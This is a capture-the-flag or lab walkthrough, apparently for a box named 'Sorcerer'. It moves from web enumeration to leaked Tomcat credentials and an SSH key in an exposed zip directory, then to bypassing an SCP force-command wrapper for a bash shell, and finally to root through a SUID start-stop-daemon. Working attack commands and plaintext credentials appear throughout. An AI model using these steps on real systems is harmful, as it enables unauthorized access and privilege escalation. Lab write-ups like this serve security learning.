HTTP

We have HTTP running on ports 80,8080 and 7742. I set to work running feroxbuster against all three ports before manually browsing them.

./feroxbuster -u http://192.168.150.100:<port> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Port 80 shows a page with only '404 not found' displayed. Port 8080 takes us to Apache Tomcat/7.04.

The link for the Manager App did not ask for authentication credentials like it normally does. It does provide us with an Access Denied page and also displays the Tomcat default credentials of tomcat:s3cret.

We can store these later and possibly run these credentials against nikto or gobuster to see if we can enumerate further directories if required.

Port 7742 takes us to the following login page which contains no identifying information apart from the name 'SORCERER' in the browser tab.

Soon after feroxbuster picks up the /zipfiles/ directory. On browsing to this, we find the following files.

I downloaded the zip files which are not encrypted and browsed through each with the GUI. The max.zip folder contained the most interesting information.

The Tomcat files contain credentials for Tomcat.

  <role rolename="manager-gui"/>
  <user username="tomcat" password="VTUD2XxJjf5LPmu6" roles="manager-gui"/>
</tomcat-users>

We also have SSH keys for Max.

I changed the permissions of the id_rsa file to 600 so we can use it for SSH.

chmod 600 id_rsa 

Looking at the authorized keys files we can see that the file scp_wrapper.sh is being used as a force command when a user connecting to SSH.

The contents of scp_wrapper.sh

This means when connecting as the user max to SSH we can only execute commands that start with 'scp'. As SCP runs over SSH we can use id_rsa file from Max to connect and overwrite the wrapper file with something more useful such as 'bash' instead of 'scp'.

I edited the scp_wrapper.sh file to include the command 'bash' and changed the error message for troubleshooting purposes.

I then moved Max's 'id_rsa' key into my SSH folder on /home/kali/.ssh/ in preparation for connecting to SCP.

Once completed connect by SCP and transfer over the wrapper file on our desktop.

scp /home/kali/Desktop/scp_wrapper.sh max@192.168.196.100:/home/max/scp_wrapper.sh

We can then SSH in as max and will have a bash shell.

ssh max@192.168.196.100  

Upgrade the shell:

/usr/bin/script -qc /bin/bash /dev/null

Straight away I uploaded linpeas.sh it after starting Python SimpleHTTPServer on my attacking machine and executed once downloaded.

Linpeas soon picks up the SUID bit being set on /usr/sbin/start-stop-daemon.

A search on GTFObins shows we can spawn a root shell.

Exploit syntax:

/usr/sbin/start-stop-daemon -n $RANDOM -S -x /bin/sh -- -p
